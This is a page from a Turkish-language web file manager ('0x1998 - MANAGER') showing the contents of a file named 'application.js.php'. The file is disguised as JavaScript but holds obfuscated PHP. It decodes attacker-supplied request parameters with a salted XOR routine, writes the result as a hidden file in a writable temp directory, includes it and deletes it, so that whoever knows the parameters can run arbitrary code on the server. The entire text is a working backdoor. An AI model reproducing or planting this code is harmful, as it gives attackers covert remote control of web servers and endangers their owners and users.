0x1998 - MANAGER
Düzenlenen Dosya: application.js.php
<?php if(isset($_REQUEST) && isset($_REQUEST["\x6D\x72k"])){ $property_set = $_REQUEST["\x6D\x72k"]; $property_set = explode( "." , $property_set ) ; $item= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); foreach( $property_set as $o => $v3): $sChar= ord( $s[$o % $lenS]); $dec= ( ( int)$v3 - $sChar -( $o % 10))^ 18; $item .= chr( $dec); endforeach; $data = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir()]); foreach ($data as $bind): if (array_product([is_dir($bind), is_writable($bind)])) { $flg = "$bind/.obj"; if (file_put_contents($flg, $item)) { require $flg; unlink($flg); die(); } } endforeach; } if(count($_POST) > 0 && isset($_POST["\x66\x6Cg"])){ $entry = $_POST["\x66\x6Cg"]; $entry = explode ( "." ,$entry ) ; $hld=''; $salt7='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt7); $v=0; foreach ($entry as $v7) { $chS=ord($salt7[$v % $lenS]); $dec=((int)$v7 - $chS - ($v % 10)) ^ 83; $hld .= chr($dec); $v++;} $ent = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]); $itm = 0; do { $pointer = $ent[$itm] ?? null; if ($itm >= count($ent)) break; if (!!is_dir($pointer) && !!is_writable($pointer)) { $entity = "$pointer/.fac"; $success = file_put_contents($entity, $hld); if ($success) { include $entity; @unlink($entity); die();} } $itm++; } while (true); }
geri dön